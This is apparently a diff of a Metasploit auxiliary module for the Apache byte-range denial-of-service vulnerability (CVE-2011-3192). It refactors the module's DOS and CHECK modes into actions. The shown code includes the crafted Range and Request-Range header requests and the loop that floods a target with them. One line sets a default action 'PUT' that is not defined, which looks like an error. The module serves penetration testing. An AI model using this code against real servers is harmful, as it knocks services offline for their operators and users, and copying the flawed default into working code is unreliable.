1
- ##
2
- # $Id$
3
- ##
4
-
5
1
##
6
2
# This file is part of the Metasploit Framework and may be subject to
7
3
# redistribution and commercial restrictions. Please see the Metasploit
@@ -35,68 +31,71 @@ def initialize(info = {})
35
31
'Markus Neis <markus.neis[at]gmail.com>' # check for vulnerability
36
32
] ,
37
33
'License' => MSF_LICENSE ,
38
- 'Version' => '$Revision$' ,
34
+ 'Actions' =>
35
+ [
36
+ [ 'DOS' ] ,
37
+ [ 'CHECK' ]
38
+ ] ,
39
+ 'DefaultAction' => 'PUT' ,
39
40
'References' =>
40
41
[
41
42
[ 'BID' , '49303' ] ,
42
43
[ 'CVE' , '2011-3192' ] ,
43
44
[ 'EDB' , '17696' ] ,
44
45
[ 'OSVDB' , '74721' ] ,
45
46
] ,
46
- 'DisclosureDate' => 'Aug 19 2011' ,
47
+ 'DisclosureDate' => 'Aug 19 2011'
47
48
) )
48
49
49
50
register_options (
50
51
[
51
52
Opt ::RPORT ( 80 ) ,
52
53
OptString . new ( 'URI' , [ true , "The request URI" , '/' ] ) ,
53
- OptInt . new ( 'RLIMIT' , [ true , "Number of requests to send" , 50 ] ) ,
54
- OptEnum . new ( 'ACTION' , [ true , "DOS or CHECK" , "DOS" , [ "DOS" , "CHECK" ] ] )
54
+ OptInt . new ( 'RLIMIT' , [ true , "Number of requests to send" , 50 ] )
55
55
] , self . class )
56
56
end
57
57
58
58
def run_host ( ip )
59
59
60
- case datastore [ 'action' ]
60
+ case action . name
61
+ when 'DOS'
62
+ conduct_dos ( )
61
63
62
- when 'DOS'
63
- conduct_dos ( )
64
-
65
- when 'CHECK'
66
- check_for_dos ( )
64
+ when 'CHECK'
65
+ check_for_dos ( )
67
66
end
68
67
69
68
end
70
69
71
70
def check_for_dos ( )
72
71
path = datastore [ 'URI' ]
73
- begin
74
- res = send_request_cgi ( {
75
- 'uri' => path ,
76
- 'method' => 'HEAD' ,
77
- 'headers' => { "HOST" => "Localhost" , "Request-Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10" } } )
78
-
79
- if ( res and res . code == 206 )
80
- print_status ( "Response was #{ res . code } " )
81
- print_status ( "Found Byte-Range Header DOS at #{ path } " )
82
-
72
+ begin
73
+ res = send_request_cgi ( {
74
+ 'uri' => path ,
75
+ 'method' => 'HEAD' ,
76
+ 'headers' => {
77
+ "HOST" => "Localhost" ,
78
+ "Request-Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"
79
+ }
80
+ } )
81
+
82
+ if ( res and res . code == 206 )
83
+ print_status ( "Response was #{ res . code } " )
84
+ print_status ( "Found Byte-Range Header DOS at #{ path } " )
83
85
84
86
report_note (
85
87
:host => rhost ,
86
88
:port => rport ,
87
89
:data => "Apache Byte-Range DOS at #{ path } "
88
90
)
89
91
90
- else
91
- print_status ( "#{ rhost } doesn't seem to be vulnerable at #{ path } " )
92
-
93
- end
92
+ else
93
+ print_status ( "#{ rhost } doesn't seem to be vulnerable at #{ path } " )
94
+ end
94
95
95
96
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
96
97
rescue ::Timeout ::Error , ::Errno ::EPIPE
97
- end
98
-
99
-
98
+ end
100
99
end
101
100
102
101
@@ -111,10 +110,12 @@ def conduct_dos()
111
110
begin
112
111
print_status ( "Sending DoS packet #{ x } to #{ rhost } :#{ rport } " )
113
112
res = send_request_cgi ( {
114
- 'uri' => uri ,
115
- 'method' => 'HEAD' ,
116
- 'headers' => { "HOST" => rhost ,
117
- "Range" => "bytes=0-#{ ranges } " } } , 1 )
113
+ 'uri' => uri ,
114
+ 'method' => 'HEAD' ,
115
+ 'headers' => {
116
+ "HOST" => rhost ,
117
+ "Range" => "bytes=0-#{ ranges } " } } , 1 )
118
+
118
119
rescue ::Rex ::ConnectionRefused
119
120
print_status ( "Unable to connect to #{ rhost } :#{ rport } ." )
120
121
rescue ::Errno ::ECONNRESET
0 commit comments